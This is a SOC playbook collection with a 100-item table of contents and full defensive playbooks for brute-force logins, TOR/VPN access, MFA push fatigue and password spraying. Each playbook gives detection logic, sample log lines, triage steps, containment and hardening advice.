

100 SOC- GRADE DETECTION & RESPONSE PLAYBOOKS

BY IZZMIER IZZUDDIN

TABLE OF CONTENTS

[CREDENTIAL ACCESS] PLAYBOOK 1: EXCESSIVE FAILED LOGINS – BRUTE FORCE / CREDENTIAL STUFFING	8
[DEFENSE EVASION] PLAYBOOK 2: LOGIN FROM TOR / VPN – MASKED SOURCE ACCESS	15
[CREDENTIAL ACCESS] PLAYBOOK 3: MFA PUSH SPAM – MFA FATIGUE ATTACK	20
[CREDENTIAL ACCESS] PLAYBOOK 4: SUCCESSFUL LOGIN AFTER FAILURES – PASSWORD SPRAYING / CREDENTIAL REUSE.....	25
[INITIAL ACCESS] PLAYBOOK 5: LOGIN OUTSIDE BUSINESS HOURS – VALID ACCOUNT ABUSE	30
[PERSISTENCE] PLAYBOOK 6: NEW ADMIN ACCOUNT CREATED – PRIVILEGED PERSISTENCE	35
[PRIVILEGE ESCALATION] PLAYBOOK 7: PRIVILEGED ROLE ESCALATION – EXPLOITATION FOR PRIVILEGE ESCALATION	40
[CREDENTIAL ACCESS] PLAYBOOK 8: LSASS MEMORY ACCESS – CREDENTIAL DUMPING	45
[CREDENTIAL ACCESS] PLAYBOOK 9: MIMIKATZ EXECUTION – OS CREDENTIAL DUMPING ...	50
[PERSISTENCE] PLAYBOOK 10: REGISTRY RUN KEY ADDED – AUTO-START PERSISTENCE.....	55
[PERSISTENCE] PLAYBOOK 11: SCHEDULED TASK CREATED – LONG-TERM PERSISTENCE	60
[DEFENSE EVASION] PLAYBOOK 12: POWERSHELL ENCODED COMMAND – OBFUSCATED MALICIOUS EXECUTION	65
[EXECUTION] PLAYBOOK 13: POWERSHELL DOWNLOAD CRADLE – REMOTE PAYLOAD EXECUTION.....	70
[LATERAL MOVEMENT] PLAYBOOK 14: WMI REMOTE EXECUTION – LATERAL MOVEMENT VIA WMI	75
[LATERAL MOVEMENT] PLAYBOOK 15: PSEXEC EXECUTION – LATERAL MOVEMENT VIA ADMIN TOOLS	80
[LATERAL MOVEMENT] PLAYBOOK 16: SMB LATERAL MOVEMENT – WINDOWS ADMIN SHARE ABUSE	85
[CREDENTIAL ACCESS] PLAYBOOK 17: RDP BRUTE FORCE – PASSWORD GUESSING ATTACK	90

[PERSISTENCE] PLAYBOOK 18: NEW SERVICE INSTALLED – SYSTEM-LEVEL PERSISTENCE ...	95
[COMMAND AND CONTROL] PLAYBOOK 19: DNS BEACONING – COMMAND AND CONTROL OVER DNS.....	100
[COMMAND AND CONTROL] PLAYBOOK 20: HTTP BEACON INTERVALS – WEB-BASED COMMAND AND CONTROL	105
[DEFENSE EVASION] PLAYBOOK 21: USER-AGENT ANOMALY – BROWSER MASQUERADING	110
[EXECUTION] PLAYBOOK 22: SUSPICIOUS EXE IN TEMP – DROPPED MALWARE PAYLOAD ...	115
[INITIAL ACCESS] PLAYBOOK 23: EMAIL ATTACHMENT OPENED – PHISHING PAYLOAD EXECUTION.....	120
[INITIAL ACCESS] PLAYBOOK 24: MALICIOUS URL CLICK – PHISHING LINK REDIRECTION ..	125
[EXECUTION] PLAYBOOK 25: MACRO-ENABLED DOCUMENT – MALICIOUS VBA EXECUTION	130
[EXECUTION] PLAYBOOK 26: OFFICE SPAWNING POWERSHELL – LIVING-OFF-THE-LAND EXECUTION.....	135
[INITIAL ACCESS] PLAYBOOK 27: UNUSUAL CLOUD LOGIN – CLOUD ACCOUNT COMPROMISE	140
[INITIAL ACCESS] PLAYBOOK 28: API TOKEN MISUSE – APPLICATION ACCESS TOKEN ABUSE	145
[IMPACT] PLAYBOOK 29: EXCESSIVE API CALLS – AUTOMATED SCRAPING AND ABUSE	150
[EXFILTRATION] 30: DATABASE DUMP ACTIVITY – STRUCTURED DATA EXFILTRATION	155
[EXFILTRATION] PLAYBOOK 31: LARGE OUTBOUND UPLOAD – MASS DATA EXFILTRATION OVER WEB	160
[EXFILTRATION] PLAYBOOK 32: CLOUD STORAGE SYNC SPIKE – EXFILTRATION VIA TRUSTED SAAS.....	165
[DEFENSE EVASION] PLAYBOOK 33: DISABLED ANTIVIRUS – ENDPOINT PROTECTION TAMPERING.....	169
[DEFENSE EVASION] PLAYBOOK 34: TAMPERED AUDIT LOGS – INDICATOR REMOVAL	174
[DEFENSE EVASION] PLAYBOOK 35: CLEARED WINDOWS LOGS – EVENT LOG DESTRUCTION	179

[DEFENSE EVASION] PLAYBOOK 36: ROOTKIT-LIKE DRIVER LOAD – KERNEL-LEVEL STEALTH	184
[PERSISTENCE] PLAYBOOK 37: NEW SSH KEY ADDED – PERSISTENT REMOTE ACCESS.....	189
[PERSISTENCE] PLAYBOOK 38: NEW OAUTH CONSENT – TOKEN-BASED CLOUD PERSISTENCE	193
[CREDENTIAL ACCESS] PLAYBOOK 39: BROWSER CREDENTIAL ACCESS – CREDENTIAL AND SESSION THEFT.....	197
[CREDENTIAL ACCESS] PLAYBOOK 40: KEYLOGGING BEHAVIOUR – REAL-TIME KEYSTROKE CAPTURE	202
[DISCOVERY] PLAYBOOK 41: NETWORK SCANNING DETECTED – INTERNAL RECONNAISSANCE	206
[DISCOVERY] PLAYBOOK 42: AD ENUMERATION – DOMAIN USER AND GROUP MAPPING ...	211
[DISCOVERY] PLAYBOOK 43: BLOODHOUND-LIKE ACTIVITY – AD ATTACK PATH DISCOVERY	216
[DISCOVERY] PLAYBOOK 44: PROCESS INJECTION – STEALTHY MALICIOUS EXECUTION.....	220
[DEFENSE EVASION] PLAYBOOK 45: DLL SIDE-LOADING – DLL SEARCH ORDER HIJACKING	225
[DEFENSE EVASION] PLAYBOOK 46: LOLBINS ABUSE – SIGNED BINARY PROXY EXECUTION	230
[DEFENSE EVASION] PLAYBOOK 47: TIME-DELAYED EXECUTION – TIME-BASED EVASION ...	235
[DEFENSE EVASION] PLAYBOOK 48: VM / SANDBOX CHECKS – SYSTEM-BASED EVASION ...	240
[IMPACT] PLAYBOOK 49: RANSOMWARE ENCRYPTION – DATA ENCRYPTED FOR IMPACT ...	245
[IMPACT] PLAYBOOK 50: BACKUP DELETION – INHIBIT SYSTEM RECOVERY	250
[PRIVILEGE ESCALATION] PLAYBOOK 51: LOCAL ADMIN ADDED – PRIVILEGE ESCALATION VIA VALID ACCOUNTS	254
[PRIVILEGE ESCALATION] PLAYBOOK 52: SUSPICIOUS SUDO ACTIVITY – PRIVILEGE ESCALATION ON LINUX.....	258
[CREDENTIAL ACCESS] PLAYBOOK 53: KERBEROASTING INDICATORS – SERVICE TICKET ABUSE	263

[CREDENTIAL ACCESS] PLAYBOOK 54: AS-REP ROASTING DETECTED – KERBEROS PRE-AUTHENTICATION ABUSE.....	267
[CREDENTIAL ACCESS] PLAYBOOK 55: NTLM RELAY BEHAVIOUR – LLMNR / NBT-NS POISONING.....	272
[PERSISTENCE] LAYBOOK 56: GOLDEN TICKET PATTERNS – FORGED KERBEROS TGTS.....	277
[PERSISTENCE] PLAYBOOK 57: SILVER TICKET USAGE – FORGED KERBEROS SERVICE TICKETS	281
[CREDENTIAL ACCESS] PLAYBOOK 58. DCSYNC ACTIVITY – ACTIVE DIRECTORY REPLICATION ABUSE	285
[PRIVILEGE ESCALATION] PLAYBOOK 59: AD CS ABUSE – CERTIFICATE-BASED PRIVILEGE ESCALATION	290
[PERSISTENCE] PLAYBOOK 60: GPO MODIFICATION – DOMAIN-WIDE PERSISTENCE.....	295
[PRIVILEGE ESCALATION] PLAYBOOK 61: DOMAIN TRUST ABUSE – CROSS-DOMAIN LATERAL MOVEMENT.....	299
[PRIVILEGE ESCALATION] PLAYBOOK 62: CLOUD IAM ROLE ESCALATION – PRIVILEGE ESCALATION VIA IDENTITY MANIPULATION	304
[LATERAL MOVEMENT] PLAYBOOK 63: EXCESSIVE ASSUMEROLE – CLOUD LATERAL MOVEMENT.....	309
[PERSISTENCE] PLAYBOOK 64: API KEY CREATED UNEXPECTEDLY – TOKEN-BASED PERSISTENCE	313
[EXECUTION] PLAYBOOK 65: MALICIOUS CONTAINER DEPLOYMENT – ATTACKER-CONTROLLED WORKLOAD EXECUTION	318
[PRIVILEGE ESCALATION] PLAYBOOK 66: KUBERNETES API ABUSE – FULL CLUSTER CONTROL	323
[IMPACT] PLAYBOOK 67: CRYPTO-MINING BEHAVIOUR – RESOURCE HIJACKING.....	328
[IMPACT] PLAYBOOK 68: GPU USAGE SPIKE – AI AND CRYPTO RESOURCE ABUSE.....	333
[PERSISTENCE] PLAYBOOK 69: SCHEDULED CLOUD FUNCTION – SERVERLESS PERSISTENCE	338

[DEFENSE EVASION] PLAYBOOK 70: CLOUD AUDIT LOGS DISABLED – BLINDED SOC VISIBILITY	343
[DEFENSE EVASION] PLAYBOOK 71: WAF RULES MODIFIED – REDUCED PERIMETER PROTECTION	348
[DEFENSE EVASION] PLAYBOOK 72: FIREWALL RULES RELAXED – OPENED ATTACK PATHS	353
[COMMAND AND CONTROL] PLAYBOOK 73: DNS TXT EXFILTRATION – DATA EXFILTRATION OVER DNS	357
[COMMAND AND CONTROL] PLAYBOOK 74: ICMP TUNNELING – COVERT COMMAND AND CONTROL CHANNEL	361
[COMMAND AND CONTROL] PLAYBOOK 75: SAAS C2 ABUSE – COMMAND AND CONTROL VIA TRUSTED WEB SERVICES	366
[COMMAND AND CONTROL] PLAYBOOK 76: PASTEBIN BEACONING – DEAD-DROP COMMAND AND CONTROL	371
[DEFENSE EVASION] PLAYBOOK 77: TOR CLIENT EXECUTION – ANONYMOUS COMMUNICATIONS	376
[EXECUTION] PLAYBOOK 78: BROWSER AUTOMATION DETECTED – AUTOMATED FRAUD ...	381
[EXECUTION] PLAYBOOK 79: HEADLESS BROWSER USAGE – BOT-DRIVEN ATTACKS	386
[IMPACT] PLAYBOOK 80: CLICK-FRAUD PATTERNS – FINANCIAL ABUSE	391
[IMPACT] PLAYBOOK 81: ACCOUNT TAKEOVER – FRAUDULENT ACCOUNT USE	397
[IMPACT] PLAYBOOK 82: TRANSACTION VELOCITY SPIKE – BUSINESS LOGIC ABUSE	403
[DEFENSE EVASION] PLAYBOOK 83: LOGIC VALIDATION BYPASS – CIRCUMVENTED CONTROLS	409
[IMPACT] PLAYBOOK 84: FEATURE ABUSE – MISUSED APPLICATION FUNCTIONALITY	415
[COLLECTION] PLAYBOOK 85: INSIDER FILE HOARDING – STAGED DATA THEFT	421
[COLLECTION] PLAYBOOK 86: SCREENSHOT HARVESTING – SCREEN SURVEILLANCE	427
[COLLECTION] PLAYBOOK 87: WEBCAM / MIC ACTIVATION – COVERT MONITORING	433
[CREDENTIAL ACCESS] PLAYBOOK 88: CLIPBOARD SCRAPING – CREDENTIAL CAPTURE ...	439

[IMPACT] PLAYBOOK 89: SHADOW COPY DELETION – PREVENTED SYSTEM RECOVERY	445
[PERSISTENCE] PLAYBOOK 90: BOOT CONFIG TAMPERING – PRE-OS PERSISTENCE	451
[PERSISTENCE] PLAYBOOK 91: FIRMWARE MODIFICATION – HARDWARE-LEVEL PERSISTENCE	457
[DEFENSE EVASION] PLAYBOOK 92: SECURE BOOT DISABLED – LOWERED SYSTEM TRUST	463
[DEFENSE EVASION] PLAYBOOK 93: TIMESTAMP MANIPULATION – EVADED TIMELINE ANALYSIS.....	469
[DEFENSE EVASION] PLAYBOOK 94: LOG INGESTION HALTED – SOC VISIBILITY LOSS	475
[DISCOVERY] PLAYBOOK 95: CANARY TOKEN TRIGGERED – ACCESSED DECOY ASSETS	481
[CREDENTIAL ACCESS] PLAYBOOK 96: HONEY ACCOUNT LOGIN – CREDENTIAL TESTING ..	487
[COLLECTION] PLAYBOOK 97: BACKUP REPOSITORY ACCESS – PREPARED MASS THEFT ...	493
[EXFILTRATION] PLAYBOOK 98: SAAS EXPORT ABUSE – BULK CLOUD DATA THEFT	500
[IMPACT] PLAYBOOK 99: DISK WIPE COMMANDS – DATA DESTRUCTION	507
[IMPACT] PLAYBOOK 100: RANSOMWARE NOTE DETECTED – MONETISATION PHASE.....	514

[CREDENTIAL ACCESS] PLAYBOOK 1: EXCESSIVE FAILED LOGINS – BRUTE FORCE / CREDENTIAL STUFFING

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-001
- Use Case Name: Excessive Failed Logins
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1110
- Technique Name: Brute Force
- Threat Category: Identity Attack / Initial Access Attempt
- Severity (Default): High
- Escalation Severity: Critical (if success or privilege involved)
- Applies To: VPN, O365, Cloud IAM, Internet Banking Admin, SaaS Portals, AD
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Suspicious Authentication / Pre-Compromise Activity

2. Threat Description

The attacker attempts repeated authentication attempts against one or more accounts using:

- Password brute force
- Credential stuffing using breached password dumps
- Password spraying (same password across many users)

The goal is to:

- Gain valid credentials
- Bypass weak passwords
- Identify accounts without MFA

- Prepare for account takeover

By itself, this may represent reconnaissance or testing. If followed by a successful login, it transitions into active compromise.

3. Why This Detection Matters in 2026

Credential abuse remains the primary initial access vector for:

- Ransomware groups
- Financial fraud operations
- Cloud privilege escalation campaigns
- Business email compromise

Attackers now automate brute force using:

- Botnets
- Residential proxy networks
- TOR exit nodes
- AI-optimized password guessing

This detection becomes high-risk when paired with:

- Successful login after failures
- TOR/VPN usage
- MFA fatigue
- Privileged account targeting
- Off-hours login

4. Detection Logic

Trigger alert when:

- Multiple failed login attempts for a single account within short timeframe
- Single source IP attempts multiple usernames

- High failure-to-success ratio
- Failed logins outside normal business hours
- Repeated lockout events

Increase severity if:

- Target account is admin or service account
- Failures followed by successful login
- Source IP classified as botnet/TOR/VPN
- Multiple geolocations involved
- MFA prompts triggered repeatedly

5. Log Data

Identity Provider Logs

2026-03-11 01:21:44 | LOGIN_FAIL | user=finance.admin | ip=185.220.101.22 | reason=InvalidPassword

2026-03-11 01:21:46 | LOGIN_FAIL | user=finance.admin | ip=185.220.101.22 | reason=InvalidPassword

2026-03-11 01:21:48 | LOGIN_FAIL | user=finance.admin | ip=185.220.101.22 | reason=InvalidPassword

Password Spray Pattern

2026-03-11 01:25:12 | LOGIN_FAIL | user=user01 | ip=103.44.11.77

2026-03-11 01:25:14 | LOGIN_FAIL | user=user02 | ip=103.44.11.77

2026-03-11 01:25:16 | LOGIN_FAIL | user=user03 | ip=103.44.11.77

Credential Stuffing Followed by Success

2026-03-11 01:29:40 | LOGIN_SUCCESS | user=finance.admin | ip=185.220.101.22

Pattern shows automated behaviour with potential compromise.

6. Possible Attack Scenarios

Scenario A – Credential Stuffing Campaign

Attacker uses leaked credentials from dark web dumps to test login portals at scale.

Scenario B – Targeted Brute Force Against Admin
High-value account attacked repeatedly during off-hours.

Scenario C – Spray Before MFA Fatigue
Attacker validates password first, then launches MFA push attack.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is this single-user or multi-user targeting
- Is source IP external
- Is IP malicious or TOR/VPN
- Is account privileged
- Was there a successful login

Immediate Checks

- User login baseline (last 30 days)
- IP reputation and ASN classification
- Lockout events
- MFA prompts triggered

Decision

- No success + low risk → Monitor
- Multiple accounts targeted → Escalate to L2
- Failure followed by success → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with TOR/VPN detection
- Check for impossible travel

- Check mailbox rule changes
- Check token issuance
- Check role assignments

High-Risk Indicators

- Failed logins + Success
- Failed logins + MFA fatigue
- Targeted admin account
- Off-hours targeting
- Multiple geographic IP shifts

8. Incident Escalation Criteria

Escalate to Incident if:

- Successful login after brute force
- Privileged account targeted
- Repeated attempts across many users
- IP associated with known attack infrastructure

Escalate to Critical if:

- Admin account compromised
- MFA bypass detected
- Follow-on activity (token creation, export, privilege change)
- Lateral movement observed

9. Containment Actions

Immediate SOC Actions

- Force password reset
- Terminate active sessions

- Revoke refresh tokens
- Temporarily block attacking IP
- Enable temporary account lockout

Extended IR Actions

- Reset MFA enrolment
- Review sign-in logs for 30–90 days
- Check for persistence (OAuth, API keys)
- Validate no lateral movement

10. Recovery & Validation

- Re-enable account after user validation
- Confirm no new privileges assigned
- Confirm no mailbox or API abuse
- Confirm no abnormal data access
- Confirm no secondary logins from attacker IP

11. Prevention & Hardening

Control: MFA

Action: Enforce phishing-resistant MFA (FIDO2 / number matching)

Control: Lockout Policy

Action: Configure adaptive lockout thresholds

Control: Conditional Access

Action: Block high-risk countries or anonymous networks

Control: Identity Protection

Action: Risk-based authentication scoring

Control: Password Hygiene

Action: Ban common passwords and breached passwords

12. Mapping to NIST Incident Response

- Preparation: Strong authentication controls
- Detection: Excessive failed login alert
- Analysis: Baseline and correlation review
- Containment: Credential reset and IP block
- Eradication: Remove attacker sessions
- Recovery: Controlled account reactivation
- Lessons Learned: Adjust detection thresholds and policies

13. SOC Perspective

Excessive failed logins are rarely harmless.

They are often:

- Pre-compromise validation
- Credential testing
- First stage of ransomware intrusion

Treat them as:

Warning sign before breach

- Low risk alone
- High risk when repeated
- Critical when success follows

[DEFENSE EVASION] PLAYBOOK 2: LOGIN FROM TOR / VPN – MASKED SOURCE ACCESS

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-00
- Use Case Name: Login from TOR / VPN
- MITRE ATT&CK Tactic: Defense Evasion
- Technique ID: T1090
- Technique Name: ProxyThreat Category: Identity Evasion / Anonymised Access
- Severity (Default): Medium
- Escalation Severity: High / Critical (if combined with other signals)
- Applies To: VPN, O365, Cloud IAM, Internet Banking Admin, SaaS Portals
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Suspicious Authentication / Potential Account Takeover

2. Threat Description

The attacker attempts authentication using anonymisation infrastructure such as:

- TOR exit nodes
- Commercial VPN services
- Residential proxy networks

The goal is to hide the true source IP and evade attribution, geolocation controls and IP reputation-based blocking.

By itself, this may not be malicious. Combined with other indicators, it is often pre-compromise or active compromise behaviour.

3. Why This Detection Matters in 2026

In 2026, attackers rarely log in directly from their real location. TOR and VPN usage is now standard in:

- Account takeover campaigns
- Ransomware initial access
- Cloud privilege abuse
- Fraud operations

This detection becomes dangerous when paired with:

- Excessive failed logins

- Impossible travel
- MFA fatigue
- OAuth abuse
- Privileged account access

4. Detection Logic

Trigger alert when:

- Successful or failed login originates from TOR exit nodes
- Successful or failed login originates from known VPN / proxy ASNs
- Source ASN classified as hosting provider
- User has no historical TOR/VPN usage

Increase severity if:

- Account is privileged
- Login occurs outside business hours
- Device fingerprint is new
- User-Agent is abnormal
- Multiple TOR/VPN IPs used within a short time window

5. Log Data

Identity Provider Logs

2026-04-02 02:41:11 | LOGIN_SUCCESS | user=farah.h | ip=185.220.101.12 | asn=TOR | app=AzureAD

2026-04-02 02:41:15 | LOGIN_SUCCESS | user=farah.h | ip=91.92.33.44 | asn=VPN | app=AzureAD

VPN Gateway Logs

2026-04-02 02:42:01 | AUTH_SUCCESS | user=farah.h | src_ip=185.220.101.12 | device=VPN

Pattern shows anonymised infrastructure with no prior baseline history.

6. Possible Attack Scenarios

Scenario A – Account Takeover via Stolen Credentials

Attacker logs in using valid credentials obtained from phishing or previous breaches, hiding behind TOR to avoid IP-based detection.

Scenario B – Credential Validation Phase

Attacker tests credentials anonymously before launching MFA fatigue or privilege escalation attacks.

Scenario C – Fraud or Reconnaissance

Attacker accesses accounts to enumerate permissions, balances, inboxes or internal portals before monetisation.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

- Questions to Answer
- Is this a successful or failed login
- Is TOR/VPN new for this user
- Is the account privileged
- Any failed logins before this
- Any MFA prompts triggered

Immediate Checks

- User login history (30 days)
- ASN reputation
- Device fingerprint
- Time-of-day anomaly

Decision

- Known user behaviour → Close
- Suspicious but no success → Monitor / Escalate to L2
- Successful login with risk factors → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with failed login activity
- Check MFA logs for push fatigue
- Check OAuth consent events
- Check mailbox rules, API tokens, role changes

High-Risk Indicators

- TOR + successful login
- TOR + new device

- TOR + privileged account
- TOR + multiple services accessed

8. Incident Escalation Criteria

Escalate to Incident if any of the following occur:

- Successful login from TOR/VPN on a non-baselined account
- TOR/VPN usage combined with failed login attempts
- TOR/VPN login followed by privilege changes
- TOR/VPN login followed by data access or export

Escalate to Critical if:

- Admin or service account involved
- MFA bypass or fatigue detected
- OAuth token created
- Lateral movement observed

9. Containment Actions

Immediate SOC Actions

- Force session termination
- Reset password
- Revoke tokens and sessions
- Temporarily block TOR/VPN IPs (if policy allows)

Extended IR Actions

- Reset MFA
- Review access logs for past 30–90 days
- Check for persistence mechanisms
- Notify user and management if required

10. Recovery & Validation

- Re-enable account after validation
- Confirm no new admin roles
- Confirm no OAuth or API abuse
- Confirm no mailbox or access rule changes
- Confirm no data access anomalies

11. Prevention & Hardening

Control: Conditional Access

Action: Block TOR/VPN for sensitive apps

Control: MFA

Action: Enforce phishing-resistant MFA

Control: Identity Monitoring

Action: Alert on TOR/VPN + success

Control: Baseline Behaviour

Action: Track user historical ASN usage

12. Mapping to NIST Incident Response

- Preparation: Conditional access, MFA
- Detection: TOR/VPN login alert
- Analysis: Behaviour correlation
- Containment: Session revoke
- Eradication: Credential reset
- Recovery: Controlled re-access
- Lessons Learned: Policy tuning

13. SOC Perspective

Login from TOR/VPN is not always malicious. But when attackers use anonymity before anything else, it is often the first visible warning sign.

Treat it as:

- Low risk alone
- High risk in context
- Critical when combined

[CREDENTIAL ACCESS] PLAYBOOK 3: MFA PUSH SPAM – MFA FATIGUE ATTACK

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-003
- Use Case Name: MFA Push Spam
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1621
- Technique Name: MFA Request Generation
- Threat Category: Identity Compromise / Authentication Abuse
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: O365, Cloud IAM, VPN, Internet Banking Admin, SaaS Applications
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Account Takeover in Progress

2. Threat Description

The attacker possesses valid username and password credentials and repeatedly triggers MFA push requests to the victim's device.

The goal is to:

- Fatigue or confuse the user
- Exploit human behaviour
- Cause an accidental approval

Once approved, the attacker gains legitimate authenticated access that bypasses MFA controls. This is a live compromise technique, not reconnaissance.

3. Why This Detection Matters in 2026

MFA fatigue is one of the most successful real-world account takeover techniques.

In 2026, attackers:

- Automate MFA request generation
- Target users outside working hours
- Chain MFA fatigue with TOR/VPN logins
- Immediately establish persistence after approval

If this alert is ignored, compromise usually follows within minutes.

4. Detection Logic

Trigger alert when:

- Multiple MFA push requests sent to a user within a short window
- Repeated MFA denials followed by an approval
- MFA requests initiated from new IP or device
- MFA requests outside normal login hours

Increase severity if:

- Login source is TOR or VPN
- User reports unexpected MFA prompts
- Account is privileged
- Approval occurs after multiple rejections

5. Log Data

Identity Provider MFA Logs

2026-05-14 22:41:01 | MFA_PUSH | user=amir.h | result=Denied | ip=185.220.101.12

2026-05-14 22:41:12 | MFA_PUSH | user=amir.h | result=Denied | ip=185.220.101.12

2026-05-14 22:41:23 | MFA_PUSH | user=amir.h | result=Denied | ip=185.220.101.12

2026-05-14 22:41:35 | MFA_PUSH | user=amir.h | result=Approved | ip=185.220.101.12

Followed by:

2026-05-14 22:41:38 | LOGIN_SUCCESS | user=amir.h | app=AzureAD | device=NewDevice

This pattern confirms successful MFA fatigue exploitation.

6. Possible Attack Scenarios

Scenario A – Stolen Credentials + MFA Fatigue

Attacker obtains credentials via phishing and uses automated scripts to bombard MFA prompts until approval.

Scenario B – After-Hours Targeting

MFA requests triggered late at night or early morning when user is tired or distracted.

Scenario C – TOR/VPN Assisted ATO

Attacker hides behind anonymised infrastructure while pushing MFA requests to avoid attribution.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Did the user approve any MFA request
- How many pushes occurred
- Was the device or IP new
- Did the user report the prompts

Immediate Checks

- MFA logs timeline
- Login success events
- Source IP reputation
- Device fingerprint

Decision

- No approval → Escalate to L2
- Approval observed → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Check post-login activity
- Check role and permission changes
- Check OAuth app consent
- Check mailbox or access rule creation

High-Risk Indicators

- Approval after multiple denials
- New device + new location
- Immediate access to sensitive systems

8. Incident Escalation Criteria

Always escalate to Incident when:

- MFA push spam observed with approval
- User confirms unexpected MFA prompts

Escalate to Critical if:

- Privileged account involved
- TOR/VPN source detected
- Persistence mechanisms created
- Data access or export observed

9. Containment Actions

Immediate SOC Actions

- Force session termination
- Disable affected account
- Revoke tokens and active sessions
- Block source IPs if possible

Extended IR Actions

- Reset passwordReset MFA enrolment
- Invalidate OAuth tokens
- Notify user and management

10. Recovery & Validation

- Re-enable account with new credentials
- Re-enrol MFA with number-matching or phishing-resistant MFA
- Confirm no admin or role changes
- Confirm no mailbox, API or OAuth abuse
- Confirm no data access anomalies

11. Prevention & Hardening

Control: MFA Type

Action: Enforce number matching or FIDO2

Control: MFA Rate Limiting

Action: Block excessive MFA requests

Control: User Awareness

Action: Train users to report unexpected MFA

Control: Conditional Access

Action: Require device compliance

12. Mapping to NIST Incident Response

- Preparation: MFA configuration and policy
- Detection: MFA push spam alert
- Analysis: Approval sequence analysis
- Containment: Account disables
- Eradication: Credential reset
- Recovery: Secure re-enrolment
- Lessons Learned: MFA policy update

13. SOC Perspective

MFA fatigue is not a user mistake, it is a designed human-factor attack. If approval happens, the attacker is already inside. Speed matters more than perfection.

[CREDENTIAL ACCESS] PLAYBOOK 4: SUCCESSFUL LOGIN AFTER FAILURES – PASSWORD SPRAYING / CREDENTIAL REUSE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-004
- Use Case Name: Successful Login After Failures
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1110.003
- Technique Name: Password Spraying
- Threat Category: Account Compromise / Identity Abuse
- Severity (Default): High
- Escalation Severity: Critical (if privilege or follow-on activity observed)
- Applies To: VPN, O365, Cloud IAM, Internet Banking Admin, SaaS Applications
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Confirmed Credential Compromise

2. Threat Description

An attacker attempts authentication multiple times using different passwords or password lists and eventually succeeds.

This typically involves:

- Low-and-slow attempts to avoid lockout
- Reused or weak passwords
- Spraying common passwords across many users

The successful login after prior failures confirms that credentials are valid and compromised.

This is no longer reconnaissance. This is initial access achieved.

3. Why This Detection Matters in 2026

In 2026, password spraying remains effective because:

- Users reuse passwords across services
- Lockout thresholds are tuned to avoid DoS
- Attackers distribute attempts across IPs and time

This alert often appears minutes or hours before:

- MFA fatigue attacks

- Privilege escalation
- OAuth abuse
- Ransomware staging

Missing this alert means missing the last clear warning.

4. Detection Logic

Trigger alert when:

- Multiple failed logins followed by a successful login for the same account
- Failed logins occur from different IPs or ASNs
- Successful login occurs from a new device or location

Increase severity if:

- Success occurs outside business hours
- Source IP is TOR, VPN or hosting provider
- Account is privileged or service account
- Login followed by MFA changes or token creation

5. Log Data

Identity Provider Logs

2026-06-09 09:12:04 | LOGIN_FAILED | user=nadia.r | ip=45.134.26.78 |
reason=InvalidPassword

2026-06-09 09:18:31 | LOGIN_FAILED | user=nadia.r | ip=91.92.33.10 |
reason=InvalidPassword

2026-06-09 09:25:55 | LOGIN_FAILED | user=nadia.r | ip=103.86.44.21 |
reason=InvalidPassword

2026-06-09 09:41:02 | LOGIN_SUCCESS | user=nadia.r | ip=185.220.101.12 |
device=NewDevice

Pattern indicates password spraying with eventual success.

6. Possible Attack Scenarios

Scenario A – Password Reuse Exploitation

Attacker uses leaked credentials from other breaches and tests them until a match is found.

Scenario B – Slow Spray Campaign

Attacker sprays common passwords across many users over hours or days to bypass lockout policies.

Scenario C – Follow-on MFA Abuse

Successful login used as a foothold before launching MFA fatigue or OAuth persistence.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- How many failed attempts preceded the success
- Were failures spread across time or Ips
- Is the login device or location new
- Is the account privileged

Immediate Checks

- Login timeline
- Source IP reputation
- Device fingerprint history
- MFA enforcement status

Decision

- Known user mistake → Escalate to L2
- Unknown success after failures → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Check post-login activity
- Check role or permission changes
- Check OAuth consent and API tokens
- Check mailbox rules or forwarding

High-Risk Indicators

- Success from anonymised IP
- Immediate access to sensitive apps
- Token creation shortly after login

8. Incident Escalation Criteria

Always escalate to Incident when:

- Successful login occurs after failed attempts
- User denies login attempt

Escalate to Critical if:

- Admin or service account involved
- TOR/VPN or impossible travel detected
- Persistence mechanisms created
- Data access or export observed

9. Containment Actions

Immediate SOC Actions

- Force session termination
- Disable affected account
- Revoke all active sessions and tokens

Extended IR Actions

- Reset password
- Reset MFA enrolment
- Invalidate OAuth and API tokens
- Block malicious IP ranges if applicable

10. Recovery & Validation

- Re-enable account with strong new password
- Confirm MFA is enforced and intact
- Confirm no role or permission changes
- Confirm no mailbox, API or OAuth abuse
- Confirm no abnormal data access

11. Prevention & Hardening

Control: Password Policy

Action: Enforce strong, unique passwords

Control: Password Screening

Action: Block breached password lists

Control: MFA

Action: Enforce MFA for all external access

Control: Detection

Action: Alert on fail-to-success patterns

12. Mapping to NIST Incident Response

- Preparation: Password and MFA policies
- Detection: Fail-to-success correlation
- Analysis: Behaviour validation
- Containment: Account disable
- Eradication: Credential reset
- Recovery: Secure access restoration
- Lessons Learned: Policy tuning

13. SOC Perspective

- A successful login after failures is proof, not suspicion.
- At this point, the attacker has won the authentication battle.
- Your job is to ensure they do not win anything else.

[INITIAL ACCESS] PLAYBOOK 5: LOGIN OUTSIDE BUSINESS HOURS – VALID ACCOUNT ABUSE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-005
- Use Case Name: Login Outside Business Hours
- MITRE ATT&CK Tactic: Initial Access
- Technique ID: T1078
- Technique Name: Valid Accounts
- Threat Category: Account Misuse / Stealth Access
- Severity (Default): High
- Escalation Severity: Critical (if combined with suspicious activity)
